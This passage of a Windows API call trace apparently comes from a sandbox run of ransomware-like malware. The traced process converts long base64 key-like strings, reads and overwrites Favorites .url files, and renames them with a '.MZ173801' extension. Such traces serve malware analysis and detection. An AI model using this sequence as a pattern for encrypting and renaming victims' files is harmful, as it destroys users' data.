QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.514] GetCurrentThreadId () returned 0x9fc [0144.514] GetCurrentThreadId () returned 0x9fc [0144.514] GetCurrentThreadId () returned 0x9fc [0144.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.515] GetCurrentThreadId () returned 0x9fc [0144.515] GetCurrentThreadId () returned 0x9fc [0144.515] GetCurrentThreadId () returned 0x9fc [0144.515] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.516] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.516] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.516] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x86 [0144.516] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.516] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x86, lpOverlapped=0x0) returned 1 [0144.517] CloseHandle (hObject=0x2a8) returned 1 [0144.517] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.519] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x86, lpOverlapped=0x0) returned 1 [0144.520] CloseHandle (hObject=0x2a8) returned 1 [0144.520] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.mz173801")) returned 1 [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] GetCurrentThreadId () returned 0x9fc [0144.521] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.521] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6f45e00, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6f45e00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.521] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.521] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.521] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.521] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.521] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.521] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.521] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.522] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.522] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.522] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.522] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.522] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.522] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.522] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.524] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.524] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.524] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.527] GetCurrentThreadId () returned 0x9fc [0144.527] GetCurrentThreadId () returned 0x9fc [0144.527] GetCurrentThreadId () returned 0x9fc [0144.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 